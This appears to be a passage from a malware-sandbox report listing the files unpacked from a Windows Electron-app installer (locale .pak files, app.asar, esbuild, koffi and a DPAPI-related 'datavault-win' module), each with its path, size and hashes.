SHA512 a07529f2a3103c85634752947a6bf6b1fffa946f63c104c602a4dd9daaaa746c4fe3d64561cb1672720ff37ca7cbeebcc05ef28869070db91d6bc99127f3a4df
SSDEEP 24576:WxAv/oZAuuxyYl+9y9XBkx/9tynkKfijHeBRJzXcF+v2AiyZ3laJRvo3O:iX
TLSH
T1AD759D5BA036CD3B0FD102167B4E2FABCD5B9F9140AF668B5869F2628C59F7D0C99031
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

mr.pak

Path C:\Users\Admin\AppData\Local\Temp\nsb79D0.tmp\7z-out\locales\mr.pak
Size 1.3MB
SHA256 1f0ca08f7ab7603d49209317412a874157352858a8baa648ed1859ddb28c81ea
MD5 905452684da7606a32a110f511a0b302
SHA1 685c29a38b7c4cea5864101535abe177af91df8b
SHA512 bfb6299820634c4087b24f87cb7ad3f2fa993be2d6e5e58cb7417068fd8bc25deb992bdb607f4a1d9363e9d56365628af2ce65df10e25a7142d29d2c487bbf0e
SSDEEP 6144:uILa2Aqk+dznccduMk+JujQiWUZ1S0pB+MPbiMmRsTN/:m2g+dgEuMke2Z+MPbiMmmTN/
TLSH
T11455D14DF7BAF3685DACBC8E36540D3BD8FD21B1C3E9925648E1B3E74884CB401596A2
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ms.pak

Path C:\Users\Admin\AppData\Local\Temp\nsb79D0.tmp\7z-out\locales\ms.pak
Size 624KB
SHA256 e7c902b27b903de61592e82b2a27688afb82553063cb28b6ec63e39257790c5c
MD5 8bff82d44cefc2b05ae78f3e8716b238
SHA1 b04e9d8a73b1fdd25f03fab8c85f2b7286af784c
SHA512 a6fcae9bc0a4b449b2dbe5f0a49ad1c64fea026b4f775c5a40f7574eedaae97441d2a7e81cad1baca4df0c7ad25f554292d29aeac5993e8020026c63cf2e6af3
SSDEEP 6144:9jD4m5eR0B80ukZ4Adyu9S1cW9t+Huqwp+k8LNkwnwAFDqlOt3Vct:Z/btyNmHuqwpbbRlOc
TLSH
T1B4D4B5579EDE3118085843D9D2DEA91B7CDD3332B705AB2B4DB08FB0026E7A53316B99
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

nb.pak

Path C:\Users\Admin\AppData\Local\Temp\nsb79D0.tmp\7z-out\locales\nb.pak
Size 598KB
SHA256 e7fe21421e211fb1f84a810846cfe8c33e94e88764247f9f2023ffde812d21bc
MD5 9f13f28ea18c3a5494e520c6bff403b5
SHA1 fe5869ede4ba950d4c0b7782b67c28dac365917a
SHA512 5380b59381da3c9515410f6afe763141a9428604e99e51a37476027038889eb51ef1fc578acf4a06f2a52f01827065ffc2205cbccffc5ca07d989b653c8739f0
SSDEEP 12288:Z4mZJiFYQlsOU/Op7f3PfZLnkGJI5Br4fw4Mau:Z4iJi2ODpLnkGa5B0H+
TLSH
T173D4F783EE46B32EF6A443A4F518855B9B7D942CCE98199B54D8C63E0CC7EF052BE1C1
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

nl.pak

Path C:\Users\Admin\AppData\Local\Temp\nsb79D0.tmp\7z-out\locales\nl.pak
Size 623KB
SHA256 8e2b2b32861dd2efc143b0a0d075e6e38bc0d62ded2a2771d42deb6675e09305
MD5 393b0e8085844a4a240e042f7b5f872d
SHA1 199d61883d3a0da2d8811add406c37c0686f253a
SHA512 d78221a50fba78a7199c0ac12bc0fc74b7b8f0b577654291d84a9ba37755f850d8b1d48db1a2d34090e31428ae4978603c9e760084236363f0fb2ca93036c58b
SSDEEP 12288:NMxIBnlbJWQusiURiqgHIza7FNyh5gqHgGCDTF:NMolbJWQusiUCIza73yhKqHgGSR
TLSH
T188D4F907AC4E293E59C0A349FA098FBBBF2ED22CC26CE67D94DDD1341443F68919D589
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

pl.pak

Path C:\Users\Admin\AppData\Local\Temp\nsb79D0.tmp\7z-out\locales\pl.pak
Size 696KB
SHA256 20c71e146768f607c0a61335b80b26bb9f4acb5c1cc7060bdfa5b9c144b4827a
MD5 7d533acbb4a6663cd5ada947d64e5fa4
SHA1 b4450631f894c04b719f665384cd97a9d4aca238
SHA512 f2f8878bf91b08bfbd15ce2e848494d437e1e1b5e06acac982aba53acc8933b1c93003d1ab038cc3f0703128f132189790632f6d33270d4b09152f44493e8331
SSDEEP 12288:iif1KQywZwfQfuzSJabZpbn6fPPCUdUe3m/UevM/mE1QhrBajMol5/mT:NxK64vMH1QhUO
TLSH
T1B2E45B0E5AE58A4E8CA008E6F6E70B7CACDDC818F108D35FE45F4426719B19EC9BE5D4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

pt-BR.pak

Path C:\Users\Admin\AppData\Local\Temp\nsb79D0.tmp\7z-out\locales\pt-BR.pak
Size 652KB
SHA256 21ed64cbdf74e46bf51e292f62208471c6fe20e1db45735a9c0c3b188f3b7576
MD5 4a7eb8e29da2efe89891eb8adb2f5d1a
SHA1 d4c4fe86a6e2d46133552513543c6f0c2a16ae94
SHA512 1f0cd6752762d27a3e7e7c04239ea4f915fbb4741bd0e03a6b127a4032e916d318ebd267a024ad946ff6e087d1721aa63499629d11d2f7eb684d5ed644893969
SSDEEP 6144:gd5oJkZMAylcwuNBXBLEpPQHEyWAEIIr9dqsRUUfvn:qe2ZMAwc7bERUsRDfv
TLSH
T1B0E42B2A6DCA136605229350B70EEB43E5890745FE0ADA87DCFF4F45A3CDE40D933AA5
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

pt-PT.pak

Path C:\Users\Admin\AppData\Local\Temp\nsb79D0.tmp\7z-out\locales\pt-PT.pak
Size 655KB
SHA256 78068ad5447b9994873519e9a2e221f37d87a92528bf591229753679367562a5
MD5 2af67de86ecbee56a3ce639fcbdd4489
SHA1 2caf87899e312e6e06dd85feb49ce7cb76dd6992
SHA512 7231dacfdc268ab64dd96e45d592410e359bebe1a8e1bd61785aa29b3d48eaa4685cc1855d8038f69952caed496c409e73d09587c81ac62d7290699eac407561
SSDEEP 6144:Xk1SZBDrAz3xuWTieJVJJxhuI9AyN55frKDn7t2leSR7J:XTZBQzNEDn7MeSRN
TLSH
T172E42A296EDA136605135341770ADB03FAC86655F80ACB87C9EF0B4272CDF94D2B7B62
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ro.pak

Path C:\Users\Admin\AppData\Local\Temp\nsb79D0.tmp\7z-out\locales\ro.pak
Size 680KB
SHA256 39ba021557ddd98a693340cbbeac77f69641635b72ac6f427d4183c466e280f2
MD5 7d1181956ad830c77b1ac5e34fb094a3
SHA1 ca8896d2977f410883e249e7341e739b938201cc
SHA512 050807b82d49d0f46ecbfcf84b019468e5f0ac7521548063ec89f1724a2076a31967491a4c3478203ebb7a471f7f5f5c5eb5caabef2d4d0aece787028d255cad
SSDEEP 6144:gxAg9pZKf0w/wV9InPBFAOAgPqiVVQL+ITGIfOYIQEm5tN4W2slra/rrsf:uAirKsweInPB1dTL7uIQH5n9le/0f
TLSH
T159E42C23A1C41A972D5152B2F73A24D3E88E105DF641E2CDA4EEC97910CDDDB852EECB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ru.pak

Path C:\Users\Admin\AppData\Local\Temp\nsb79D0.tmp\7z-out\locales\ru.pak
Size 1.1MB
SHA256 1ed59f0b501d213ef40073a60a0ce27ddc6fdc01a65d6873fd2f7c51e80d02e4
MD5 e8fc535533b109d55b578a68c745ee7f
SHA1 74a54e7a6d4372d413d858c1067be685ea64ef18
SHA512 4995c0014bbd991a35e8a12b80588544fdb7bfcdbce7c6acf27ee584508f6af2db0d8f5e77e2c25f33b550d08a7df9d4d3aad4deb430eb445da3cdd0f28afa84
SSDEEP 12288:pZWaVU+lfQeRo4YeWspkzJ9sF+oa+ULZHo6HzW/oqSvgsGCZkE0dR3Q8NiGjhnYK:f3Uk+d8oXS
TLSH
T1D3358860669E64EE1101F01BDD08BE0D3CEB45FE3FAAA35219642D7F35F2024C67E65A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

sk.pak

Path C:\Users\Admin\AppData\Local\Temp\nsb79D0.tmp\7z-out\locales\sk.pak
Size 708KB
SHA256 1065e8d31a48d8e36c7dc2f4c70b1692a4618894e637092bf9aade7af82de033
MD5 cfa527e6d32afe49083dca6d230507ea
SHA1 e005dd2ec57e18a901a45a9a5520a8571fe59995
SHA512 6f17f88b253d2ec15e76b8b528de00bd9c19f7d7eb80535c5a94a2319beeb65095b4edc0a9e0ca23cf9ec5a8ea7529f15e6f89f8f03c73ea4cf93dac0950c39f
SSDEEP 12288:o7+T276ayA8+miqxdnaOY7VZ8pTjsxt9wf:oS06aS+KYL/taf
TLSH
T1C2F45D3FDFE7181E8E8D0108FFAA7110FD6E8650864EB4A6944E364714E27EDCAB4E54
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

sl.pak

Path C:\Users\Admin\AppData\Local\Temp\nsb79D0.tmp\7z-out\locales\sl.pak
Size 678KB
SHA256 254f626f3daf5d6f8278b87d59a6bc259dc5bc9c192a2875ea25607f915a03ca
MD5 fdd44ad46919841dc72181b55c9be6da
SHA1 695af6355b2f21ca1c1439663e25a478a78f62aa
SHA512 8ae981581afa83b147301527591f5158e77fa160350d99bb4291898baff41c3fbdb03b2b890490c17c16d6fbe7884aaf7621a64f9943d5255e4df0183b65ef61
SSDEEP 12288:coiQ1cB2+RVWobUWH2nWOq9pwi/fzBNaql/ad:coiQeWobnH2ni/fzBNW
TLSH
T157E42B39BEA74E0F0C9AA2CEFEA606007FDC044CD256E6A1FC4F33695415A3827BD595
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

sr.pak

Path C:\Users\Admin\AppData\Local\Temp\nsb79D0.tmp\7z-out\locales\sr.pak
Size 1.0MB
SHA256 383dca885a8e40efe87f713464207199f30dc933ddacf21f61a2b1e89ca944d5
MD5 db0aa369481301e550330f0ac3309990
SHA1 b786c90a8886a6f63318a15571e3518a32f35533
SHA512 394df494e81c45ef2ef9692b2cc482fa65bd6fc147437ed4d497aea13e82a294d61fd3e3b45362e8e7122ccddd7ad3ecd218fb70027f84ecbd8fe03d43e15f9c
SSDEEP 12288:wllCvUR67L58I882S0dRsCt7i4O5JM9kpCQhW6CgxmIF379juz3/k/i:eluUQdqICVz
TLSH
T1F23556A19B9E64DB0501F41BD808BE493DAF41FE3FAB975211601DBD34E10B847BA39E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

sv.pak

Path C:\Users\Admin\AppData\Local\Temp\nsb79D0.tmp\7z-out\locales\sv.pak
Size 605KB
SHA256 8844d78e1f2932fc230a59f2b8698a432ba26060b251281e10f8e98020b125d8
MD5 5dc73dbe452c78501cc7127e7b5c89be
SHA1 5d939372a51d97a71d599a490ba0d44d0b418822
SHA512 812fc0df1d6c96eb00f7540ec095beef76d9d620861e5c0b589f9fdccf129468cbf12cb39bad536d15b5a8765323705337e4334bfa5c3df3eb39457e1868b342
SSDEEP 6144:MzB2Wk9cJL+JQ95YbgwLIxnRxhVbFl14hLOVRFcz5RtGm1eqMlmFM/OSOHeldiGg:K2WfK6TrnTPisF6f
TLSH
T1E1D41C438A20F526FBB2530DB609015B0AEDE15CE7F2954EB8D9883DAD8BD5805FF247
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

sw.pak

Path C:\Users\Admin\AppData\Local\Temp\nsb79D0.tmp\7z-out\locales\sw.pak
Size 640KB
SHA256 bf86b4b75b827223632badfecdc8689497873c14b209c07fde825968d9f9d1c0
MD5 64b94be9106da10fd967ebd6d61b9730
SHA1 13d1f6f68e7ce738914b950fd2b7f382be5e44ba
SHA512 6058b99377c9e3c65b30c91d253bbeb9e07f64df312e85f98a9cb5133cd101bb037eefd2f85824701608eb0a9350e33f8210cc4969280246c70e4297e8f7cd10
SSDEEP 12288:OvijmBMp7zyxGB2q6OJdYGIpC59medqNGjRdponi91GKL3hjinSLeRtFa/hwzlic:O6jioAFPiF3y
TLSH
T1DED4C5629C71D0191233518603DDFF732BDCED5C6A2B29A35A46BF0F218F48C56ABE49
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ta.pak

Path C:\Users\Admin\AppData\Local\Temp\nsb79D0.tmp\7z-out\locales\ta.pak
Size 1.6MB
SHA256 0d630b4c27f0b8eb971381275ed9f64508420140b22070bb31581976a2ebfd11
MD5 36326c445c8e392e0a0a5e4bf426a079
SHA1 59153af45d167f8abe835a737506196f9d5e38fb
SHA512 3ed6c9799fd62833d38af991c758717f800935275997c597cb5f5cfa5450b2005a68bcfcfd3a014aabe1b48e5d61c624bf6f04202e6a32588d4a7bdcc0a33bad
SSDEEP 6144:l653ELcT7JId71rH3EoFkxavRGPEtqstR9ztm1vYpiMyY:lk0LcPJu1rH3tRGYqAtm1vYpiMyY
TLSH
T1D6750CCE923EEE890F93288F0319536912986155C07BE3A67C766E1198ECC5DDF3427E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

te.pak

Path C:\Users\Admin\AppData\Local\Temp\nsb79D0.tmp\7z-out\locales\te.pak
Size 1.5MB
SHA256 64a9888abb8bbecefe23a2195b555e1f8d9fd8435351b63c595a926dd123142c
MD5 8ffa9234857e49d95c430f6eebe7aeec
SHA1 1cf8a86ffbd42347580c218913a7a6c3ea0024af
SHA512 7fb9bdb50a5d49afa0ac6e78f9989a8118d13a977d2b4ebb302d5bdeba27049c757ee357167d72e2248fb0c2fec2ef1cad479447889884a6ae98c75e61cba9d2
SSDEEP 12288:Z1Q7McKNuywG6sSF602/NNgIC8ymoRRT5dbJe52CMYWOB63N3p1Fn1ghfvC/ln2W:4d1cMN
TLSH
T1297592023A6AD310DAE70273752CF66C49781B8161D6732C1EAFA357EB87D7E0843676
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

th.pak

Path C:\Users\Admin\AppData\Local\Temp\nsb79D0.tmp\7z-out\locales\th.pak
Size 1.3MB
SHA256 12e6592199914b67c29cca512ea826e8eb478cca62bc67d336a94c72fb78e4b4
MD5 0e9923f938d2be039e902d00081f2626
SHA1 54e61e2010b69ffb5ae3d5622812584a797c6e13
SHA512 cb1c6a282ebd3e40553c11e43a361846b96166e0de6cd509db7868560dda7bac1d7e0186667cd92290d64346ff0e466b3d6020eb3b65269eadc7414c63fadfef
SSDEEP 12288:+ZUjw2kN9LyZYAozYL75SsGoih5skJUseOPsO5eXwpbDFDS6Sud2mKHl7jj812sj:+ZUjuisX
TLSH
T10D553BB37247DDD479441B5B262A7789672DAE693F73F8E000C9215A73F071A8422EE3
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

tr.pak

Path C:\Users\Admin\AppData\Local\Temp\nsb79D0.tmp\7z-out\locales\tr.pak
Size 651KB
SHA256 1093a6f7c31f94641830902bfe1027145a42a3847ed8af0869f12cfa2db48587
MD5 95931adb5f60a7cb4dcdd75dde73c7a2
SHA1 7885fa0a0531c9be12d1c57fbd4e3dca45bf047c
SHA512 b7530f25192e31a9031888d6c5a49b4299d83ddf57ab9d0f04dd34c36f716445a4e50a5b586a25627c156454995e420113e76d433eca26134882e8da921c6b77
SSDEEP 12288:R11oYX0ZWaIPHz6sgwhIfZFxAnuN9d184s:9cOUN9A4s
TLSH
T185E4FA8178EF282CCBB9278BD6E90666F89F0766B331F4469B169636774535303E360C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

uk.pak

Path C:\Users\Admin\AppData\Local\Temp\nsb79D0.tmp\7z-out\locales\uk.pak
Size 1.1MB
SHA256 d7a3dcd2b95dbf0809d47b61005ce5fdfb4417514ecfad543f4cd9b746bfc962
MD5 a32f037c9aebcb1efcf0797aa63ee96a
SHA1 668c413a7c78dcd20400b5196ca9096477f7ffca
SHA512 72623b57ed97304c038f0a8ef914b6597f767aa91bd176fb5fb1e4674c8487caafb52096a8083b7eca9ce80af72d49ba8dd47c12141d206a560720798c1796e8
SSDEEP 12288:2Ab1J9+xRRUvzUH+QKjb3Irkk3AYvyjRrsSr+UinRYX2ot81BUf8t1oNnHUA6QHj:2MP9+PRo4E8k
TLSH
T14B45A9A19A9D54EF0105F05BE94C7A0D7DA701FE7FA6871625A43DBF38F20248A3C35A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ur.pak

Path C:\Users\Admin\AppData\Local\Temp\nsb79D0.tmp\7z-out\locales\ur.pak
Size 980KB
SHA256 ba94f43cf5fa31982d1a559262dfc13d34ad028e2d23dc5a11813f1645842ae2
MD5 1ebcabbd3c8a4cb3655d3db945affbd2
SHA1 78221d3383dd3e9e3e07dea1e82e73c77329e0d6
SHA512 a4fe33695a839625e17c2e8ea8e6e4e38e99089e5e162a0d21c1c5f2abe261490c6abc2897713eedd3c6431b2cac49c722655c13790087bfa03071ddda05911c
SSDEEP 12288:69F8vQ6Kt5oMu8PC3zqtdQ+BR7yArubcvqmEhdGuOZedQYrGuYjwadcJKwUvuRcx:C8v1FGYW
TLSH
T1B52500D2E6B896B35A21D92780D33C34CB735F13D34AF285E92246C54E9A0135F6DE3A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

vi.pak

Path C:\Users\Admin\AppData\Local\Temp\nsb79D0.tmp\7z-out\locales\vi.pak
Size 774KB
SHA256 90ac2cd4502f502edf5b9cce089763df623a608849bc381efb3a3c20801341f4
MD5 55f00640c09eef7614af067328633651
SHA1 eefc3d5b3509e32bf7d939a8d8c74bf348b4a211
SHA512 be8a517c2a4c54eb37716b90de106993f2a2d860ed54de12ea9141635138127cca8571af80665a57cee680e1e656c4ae02ca051c60c9acea9b54317dd8cd10ae
SSDEEP 24576:IK+c0JV204Fvo/YE+tsjlIsicufpq1ljz:IbusiVk1ljz
TLSH
T11EF4855216E0302680AC553EC6CD540D6FCAE42FF7C1CFE56FE4297876221A46F25BAE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

zh-CN.pak

Path C:\Users\Admin\AppData\Local\Temp\nsb79D0.tmp\7z-out\locales\zh-CN.pak
Size 554KB
SHA256 da523b8e933ca98f571fe3ac398a53d362445410b3469288d43553d65d1bce3e
MD5 820aa128a3f8e04ba5e1a3a91e5e0247
SHA1 30d4aa4984bb42eda4fe32278679e25f062910ca
SHA512 0d56cfed05038e15d302cafc1a2d26eea43d8edc9c3e8ea696ae02e269fe0ed8e43a4640c1282bc90a9747f9da58c1858c354b32b1e38be3b9b767ca3fb8c5bd
SSDEEP 6144:2FPYjCp4EA2h4fE+gGinx7dpUJkKfQiJ+CLJfR6UUYfDM82ZsQnWgMVl+:UYjYwE+gxnzpUJkQQaRNUZYfDMzsDU
TLSH
T1E2C48CA820F9BDEC044650E13729613D7C40724BF667AF35AED248DD2AA1FAD0757E07
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

zh-TW.pak

Path C:\Users\Admin\AppData\Local\Temp\nsb79D0.tmp\7z-out\locales\zh-TW.pak
Size 547KB
SHA256 2ac36905c94b7d4fba0b3cc3841f14dbf5ba08766eecdd787b45ea736d1e0dcb
MD5 519b368f162172f2e5346be284d1e230
SHA1 70a514a4672c3bd677f2a2f506ccb43b2235cc21
SHA512 07618303fc85eca01ab83e7b8ba1518e97beae92baedd3f4140a7a30779ee3dd941befb6577c183f83768fdde9d31e10bda9387a4854631a9921234446cbaefd
SSDEEP 6144:TOJ/fILE1HO0bNag/uPVJm4DIa2sluXdAr5rqo2HZD5SWWX2jXUmFTu:TORAI1Rui4UpdAr5mo2Hnjj4
TLSH
T1F8C46CB60CFBDBEF0901F484B7CD523ABC8B386DDD777636FC8918941E69A540AA1085
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

resources.pak

Path C:\Users\Admin\AppData\Local\Temp\nsb79D0.tmp\7z-out\resources.pak
Size 6.4MB
SHA256 302671ba7bf6d6352773d34de852793027d389c4afde1db0977e1b76e39d5938
MD5 225717135d7853f4f79372a197eb1a5f
SHA1 aa8627b1e66fde80e812bef290aefa657643c487
SHA512 0edaf8862f7e7350a602c0d5d20e84bd2e2a4f6dff88944357ddc82345aa226c8151fcdffcea468d0304f89be1b41fdb3424c871b8a3a5adbef447abf7839650
SSDEEP 196608:4EVBRafszNQoCmkrB0QMguFBgt3m06Rw+Ki:4EVTaV9mkr4jFWBm0iw+h
TLSH
T1D06633DB72352C4FC54883FE4528417A786CA7A53D8591A2159C6228CC3E34F7EC9ABF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

app.asar

Path C:\Users\Admin\AppData\Local\Temp\nsb79D0.tmp\7z-out\resources\app.asar
Size 32.5MB
SHA256 4e401536f79e5964ffa1b9b97ff4c3aa077194b94fb11eb71ae403b366d828f9
MD5 66f21ff28361c1a2b36f5e95128b2cad
SHA1 cb0a7cf42920d12985ece10fbff02af014316f37
SHA512 786b5faa9ee60b41246762278584e40e5a382df53b6ac72249a4e1042aa9bb468f73e27a366931a4728f198a89e2362609753380881303828254df1c675bf3d3
SSDEEP 98304:3+ca+4xHlngP3kn62v4yuU9/16qI1kK5tJX2sNyX2sCj:3GH0xUW5t9NsCj
TLSH
T156771A1621F69533E65322BB0E8F4051BF34B01B2908D554788CD394BF86F39A6F6EB9
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

esbuild.exe

Path C:\Users\Admin\AppData\Local\Temp\nsb79D0.tmp\7z-out\resources\app.asar.unpacked\node_modules\@esbuild\win32-x64\esbuild.exe
Size 10.9MB
SHA256 44ce6728d54c891b1c5a6d7dbfb1a0f13419884cca0b090f1fbcf0dcd8bee0e9
MD5 8c223dcb92769f2ea198fb11422e2f8d
SHA1 f808b22a44d442d0c53b3b2e2045c30145e40c24
SHA512 7f933f1f7a6f967efea2322cbff560dc4d90d37914adb5323851c8fbe2f058821a24d50fc83d32ebc0d5d69214f1ce5c598baa7dd727caee92d4fcf98a407a7f
SSDEEP 98304:v//urPfITg4HfIk6pQ1FWtHbZuM1/e1exWnhBjIcmIE1:vnoL4HgTpQ1otHEy/EexW3Q
TLSH
T1ABB62947E8A545E4C099D534897A9223BF70BC489B3423E36FA0F7242F76BD0ADB9714
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

package.json

Path C:\Users\Admin\AppData\Local\Temp\nsb79D0.tmp\7z-out\resources\app.asar.unpacked\node_modules\@esbuild\win32-x64\package.json
Size 374B
SHA256 095bf1c95a8a9179990600dd94b2ee1857f63fb747674d7dd8a06460a09d4fc8
MD5 bdd3249516c9151d21f68fea4914bd07
SHA1 3b496e39ebb216c14aace3e74c3f75a231334d25
SHA512 e989dceb6d76bb49714d507d5d8120aa3d066c1e4c7a5220777758c89d219fa1b5928a2c82cb6870901f32185088e42a12c8771558a12521b0e2ab5183fca0cc
TLSH
T196E068208924483316FC5DA08C3A638DE4208C6348D8FC092693411D9F6EA6310FA3E8
MD5 SHA1 SHA512 TLSH

Submit Download

index.js

Path C:\Users\Admin\AppData\Local\Temp\nsb79D0.tmp\7z-out\resources\app.asar.unpacked\node_modules\datavault-win\dist\index.js
Size 412B
SHA256 a7ff0225cb5ebcbef8499c6c8ac2be924f584eb375dacb1d8bd3dc6540b510f2
MD5 0b33e83d33b01a51625a0fdcbef42ce3
SHA1 1c29d999ff7da39426b97f2eb31a3d83db8f5fc7
SHA512 1d04caf4fc2e876bdf2a089ae938a41fe4d3f2928aa846709bafd2de236fa8c754fcc84d7e8a5f5734bc1cecc04b395ab9d2114945b35e8c85cd3b9ee8f9799c
TLSH
T1BFE02B177EF5E8EAC64082CA4736D4531EE98CBB3600781AE2CA8AF25315984E490D24
MD5 SHA1 SHA512 TLSH

Submit Download

package.json

Path C:\Users\Admin\AppData\Local\Temp\nsb79D0.tmp\7z-out\resources\app.asar.unpacked\node_modules\datavault-win\package.json
Size 670B
SHA256 2ed7eaa6e13c297ba30900cedb7a10b58215fa4fd64f32788e31ee3f0bf303b2
MD5 7b538175f15975456ff02d94f9e586f6
SHA1 a76fefb678259f1c89a320037ff55c14a37be5c5
SHA512 3a438e58f26003fcbc3101fcd7b2d82bd97b5667d798e2a3b16e382f38f822913b7101d340973ba9aab3f2fb9225d15c71aac4ec38a06bf08654c80dce53df22
TLSH
T12D01D132CD38CD7301D92AE6AC39126295220C2B4C18FE0C73C2676C8B1D5BF30B9A6D
MD5 SHA1 SHA512 TLSH

Submit Download

node.napi.node

Path C:\Users\Admin\AppData\Local\Temp\nsb79D0.tmp\7z-out\resources\app.asar.unpacked\node_modules\datavault-win\prebuilds\win32-x64\node.napi.node
Size 137KB
SHA256 da2172ce055fa47d6a0ea1c90654f530abed33f69a74d52fab06c4c7653b48fd
MD5 04bfbfec8db966420fe4c7b85ebb506a
SHA1 939bb742a354a92e1dcd3661a62d69e48030a335
SHA512 4ea97a9a120ed5bee8638e0a69561c2159fc3769062d7102167b0e92b4f1a5c002a761bd104282425f6cee8d0e39dbe7e12ad4e4a38570c3f90f31b65072dd65
SSDEEP 3072:94PTD6FEzMju6bzJKjpEPeTOKvJhEnww+YbRYvPuq:94jQju6b9KilKvJurR8W
TLSH
T1B3D37D4BB3A500BBE176C639C8934A05E776B81517619B9F03A0475B1F237D1EE3EB22
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

dpapi_addon.h

Path C:\Users\Admin\AppData\Local\Temp\nsb79D0.tmp\7z-out\resources\app.asar.unpacked\node_modules\datavault-win\src\dpapi_addon.h
Size 99B
SHA256 bf9639dd953de6f4ab47d68943f11f99907ff31ea4d05549150e89a21a6efb51
MD5 e1d8371e28e361e1c2186543cb7c5c15
SHA1 61a289e4b6357d6124e0673ad99fe3ed37780989
SHA512 46fd5fa577482b2d0a3800019bb70f1d7f48c36881830d2b1e68de5ba84ce5aca2ee0e7b11b5eb5ac1eee9640a69bd67e30ecde1290a075d92dba86ce26d5e87
TLSH
T1CBB01211C275394F54D4C1D72616ED003C89130C2F94E0142904524779055C5710B685
MD5 SHA1 SHA512 TLSH

Submit Download

dpapi_not_supported.cpp

Path C:\Users\Admin\AppData\Local\Temp\nsb79D0.tmp\7z-out\resources\app.asar.unpacked\node_modules\datavault-win\src\dpapi_not_supported.cpp
Size 218B
SHA256 0c1d1737d698c15cacdfe963b8a84cffad1422fc0be1fd6995f0572b70492a1c
MD5 9b3c19681f02ac440971abbd69ed4b41
SHA1 4e76b0c252d900a68c76e1662442d998e71b5545
SHA512 d4a8ca44d3b30386fc499c920d57cb70453c6efc68583a6e3a3c41a0cca30dc2e113dbdfbd0cfffa8ee3e6d397f4140b9c9bcb4d9e6979c7b5c375ad1a126a0e
TLSH
T107D0A7969315321B56A1C18AA213D8106D4811095EACF6041219844EB6563D6314299D
MD5 SHA1 SHA512 TLSH

Submit Download

dpapi_win.cpp

Path C:\Users\Admin\AppData\Local\Temp\nsb79D0.tmp\7z-out\resources\app.asar.unpacked\node_modules\datavault-win\src\dpapi_win.cpp
Size 2KB
SHA256 0773f2d8790fc5bef82815942188f5c9a58d88581e0f2423944f629add5a8cb9
MD5 03684197a24fb1d62d1be4d5d32e3598
SHA1 6ea714164b93627cab84f0ed28ec35164569424b
SHA512 4ce869a89559fa193535a68a21c206ee95e6ca124ef3152f08ca369e285817407bf5464396ae1f8534548d981e2b42e6db5e0c859527f3d83e93796092d82318
TLSH
T123514626BE3AB60F5490104B7936CC011A94E80403F9B1F4B9C10E99B5906FE3AFEBD9
MD5 SHA1 SHA512 TLSH

Submit Download

main.cpp

Path C:\Users\Admin\AppData\Local\Temp\nsb79D0.tmp\7z-out\resources\app.asar.unpacked\node_modules\datavault-win\src\main.cpp
Size 589B
SHA256 b2b9ddbd143fe87f82e2f8cf6a8436ae20e5ebcd50a42773e1b2d49263dddd95
MD5 347a30eeebff5e2008ab642a05f1d05b
SHA1 8d88451e992121fa3f06d782c37b42de382868cb
SHA512 a6c003d41d55b316edc83bb16020b8fe33ca324d6c744af208499b98d9db964110588405f4206a88aae5cfa64b8c47801b84bad2ffeceb373a0df470785d39c1
TLSH
T11CF0468BA272B48F52D281A40316DC8C7D49280D4EA8F4745680C3CAF5826DFE016AD7
MD5 SHA1 SHA512 TLSH

Submit Download

LICENSE.txt

Path C:\Users\Admin\AppData\Local\Temp\nsb79D0.tmp\7z-out\resources\app.asar.unpacked\node_modules\koffi\LICENSE.txt
Size 1KB
SHA256 48bfd53f76185bd32bb91393a7e27ab553b77b4b965245ba73f4714c11030a4a
MD5 1514da5827cd3e4355bab6ae259698df
SHA1 d2e45ff2cf9f4eb090afb6b8f235e94a2ee0a078
SHA512 9e858602a3534fbabc3ec58a84f1b9ea05d1d5e2511d70badd1daecd92765198ab44da54964752eae8a348d2bfd13a670270d41e0913f691106431ed372abc06
TLSH
T18A21961E729007721C571360657568C5F21BB15FB9AF6784242DF345632A46CD1FF804
MD5 SHA1 SHA512 TLSH

Submit Download

koffi.node

Path C:\Users\Admin\AppData\Local\Temp\nsb79D0.tmp\7z-out\resources\app.asar.unpacked\node_modules\koffi\build\koffi\darwin_arm64\koffi.node
Size 1.2MB
SHA256 6c88b2173bdf403046265f859201c13504eba2b258b23da61fff23f7659797b0
MD5 88c001e48e6b6cae14c9fbde9cb65089
SHA1 3921596e329a553c498772c1eb636ce80dcb1126
SHA512 8f4a7da87873ffb0a5d7b1a1a07e41f402e328a81cb96c66f3e1e87053ac6f6cd78c7110f7dc5e2802e18758efc66a16c37fa5ed3c5484d1f60a78b14d7421d5
SSDEEP 12288:7Hb1MZqrI8Mxd9ryquwKwVaJR3RlQIfCnY92JbQ1x3QC3QOirNA5MLG7T7M:9tQrnuwKwQ/lzCnc2JM19hMr+5Mq70
TLSH
T14345A063AA4D0F90C7C6723C8731CE272296BC93F2925E54DD9E931C6B83346BE59127
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

koffi.node

